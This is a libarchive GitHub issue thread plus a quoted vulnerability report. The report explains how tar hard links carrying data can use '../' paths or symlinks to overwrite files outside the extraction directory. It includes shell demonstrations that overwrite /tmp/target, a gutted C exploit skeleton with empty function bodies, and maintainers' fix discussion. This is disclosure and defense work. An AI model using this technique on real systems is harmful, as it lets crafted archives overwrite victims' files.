-
Notifications
You must be signed in to change notification settings - Fork 756
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Hard links with data can evade sandboxing restrictions #746
Comments
On Wed, Jul 20, 2016 at 08:42:35PM -0700, Tim Kientzle wrote:
I wonder if we can remember newly creates zero-sized hardlinks for newc. Joerg |
@jsonn: That's an interesting idea: Basically, archive_write_disk would keep a list of filenames of zero-sized regular files it's restored and reject any data-carrying hard link that wasn't on that list? That seems like a reasonable restriction to put in place in any case. For pax, POSIX allows the first reference to be stored as a zero-length file, then subsequent references are stored as hardlink entries, with the last one carrying the data. (The convention for ustar is for the initial file entry to carry the data and the hardlink entries are all zero-length.) For newc, all references are stored in the archive as regular files with the same inode number with the last one carrying the data. The newc reader keeps a dictionary of inode numbers it has already seen and converts the entries so the restore logic sees the same sequence as pax would generate (zero-length regular file followed by zero-length hard links and one non-zero-length hardlink). If we were careful to remove the name as soon as we saw a data-carrying hardlink, then your suggestion would ensure that we never had more than one data-carrying hardlink with a particular name and it always overwrote a preceding zero-length file. I think zero-length hard links can just be handled as previously. So I think your proposal would work correctly for ustar, pax, and newc. I'd have to check old cpio, but I think it also works correctly there. Most other formats don't support hard links at all. Zip is the only one that I think might be an issue (because Zip archives are not technically streams, so extraction order isn't defined in the same way that tar, cpio, etc are), but hard links in Zip are pretty rare, so I'm willing to defer that particular question for now. The only risk I see is that this means data-carrying hard links can only be correctly restored if you keep a single archive_write_disk handle across the entire extraction. Anyone who is currently creating a new archive_write_disk handle for each separate file would get surprised. But I'm okay with that. |
We can easily provide an option similar to what tar -p uses to disable such logic. As such I don't foresee a problem for splitting extraction. |
I think it would also suffice to be more careful about hardlink targets:
The first of these should be trivial. The second is trickier. |
See also the temp. fix in HardenedBSD/hardenedBSD@6a6ac73 |
Please check whether this patch is appriopriate. It adds the new option ('i' as in insecure) to support extracting hardlinks, when set by user. The patch is relative to HardenedBSD source code.
|
There are a bunch of complex issues at play here:
|
Thanks to Doran Moppert for pointing out the inconsistencies here.
I believe Doran Moppert's fixes address this issue by carefully checking hard links. I am still interested in implementing the approach outlined by @jsonn as well, but I think the current fix is good enough to close this. |
This is the last of four libarchive bugs reported in Issue #743:
{Affects}
3.2.0 (FreeBSD HEAD/ports), 3.1.2 (FreeBSD non-HEAD), possibly earlier
{Description}
Recall the three classes of filesystem attacks listed earlier:
These checks are applied as usual to the pathnames of symlinks and hard links
but not to their targets, with one exception: The targets of hard links are
subjected to absolute-path checks in tar/util.c as of FreeBSD revision r270661
and upstream commit cf8e67f (it seems the revision was submitted upstream and
was rewritten in a different form as the commit -- both strip leading slashes
from the hard-link targets, though not for security reasons).
Archive entries for hard links can use dot-dot pathnames in their targets to
point at any file on the system, subject to the usual hard-linking constraints.
Alternatively, on systems that follow symlinks for link() -- which is an
implementation-defined behavior supported by FreeBSD -- a symlink can first be
extracted that uses absolute or dot-dot pathnames to point at the file, and
then the hard-link target can be the symlink, which means that filtering the
hard-link target for dot-dot paths is not sufficient to address the problem.
The ability to point hard links at outside files becomes more serious when we
consider that libarchive supports the POSIX feature of hard links with data
payloads. This allows an attacker to point a hard link at an existing target
file outside the extraction directory and use the data payload to overwrite the
file.
{Demonstration}
Exploit code is included below.
$ cd /tmp/cage
$ ls
vuln4.c
$ cc -o vuln4 vuln4.c -larchive
$ echo hello > /tmp/target
$ echo goodbye > data
$ ./vuln4 x.tar data p ../../../tmp/target
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to ../../../tmp/target
$ tar xvf x.tar
x p
$ cat /tmp/target
goodbye
The code could be rewritten to use symlinks instead of dot-dot paths:
$ cd /tmp/cage
$ ls
vuln4 vuln4.c
$ echo hello > /tmp/target
$ echo goodbye > data
$ ln -s /tmp/target sym
$ ./vuln4 x.tar data p sym
$ tar tvf x.tar
-rwxrwxrwx 0 0 0 8 Jan 1 1970 p link to sym
$ tar xvf x.tar
x p
$ cat /tmp/target
goodbye
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
include <sys/types.h>
include <sys/stat.h>
include <archive.h>
include <archive_entry.h>
include <fcntl.h>
include <stdio.h>
include <stdlib.h>
include <unistd.h>
static void make_archive(char *, char *, char *, char *);
static void patch_archive(char *, char *);
static void
make_archive(char *archive, char *file, char *pathname, char *linkname)
{
int fd;
ssize_t len;
char buf[1024];
struct stat s;
struct archive *a;
struct archive_entry *ae;
}
static void
patch_archive(char archive, char *linkname)
{
/ extended header + extended body + checksum offset */
static const long patch_offset = (512 + 512 + 148);
}
int
main(int argc, char *argv[])
{
if (argc != 5) {
fprintf(stderr, "Usage: %s archive file pathname linkname\n", argv[0]);
fprintf(stderr, "\tarchive output malicious archive here\n");
fprintf(stderr, "\tfile file containing overwrite data\n");
fprintf(stderr, "\tpathname archive-entry pathname\n");
fprintf(stderr, "\tlinkname archive-entry linkname\n");
fprintf(stderr, "\t [can use ../ in linkname]\n");
return EXIT_FAILURE;
}
}
%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%
{Defense}
POSIX requires that hard links point at only extracted items, though the
possibility that a hard link can use a previously extracted symlink as a target
and escape the extraction directory should be borne in mind.
It seems a good idea to excise the data-payload functionality, which is not a
mandatory POSIX feature and which does not seem to be widely supported anyway.
Look for the lines beginning
in create_filesystem_object() in libarchive/archive_write_disk_posix.c.
The text was updated successfully, but these errors were encountered: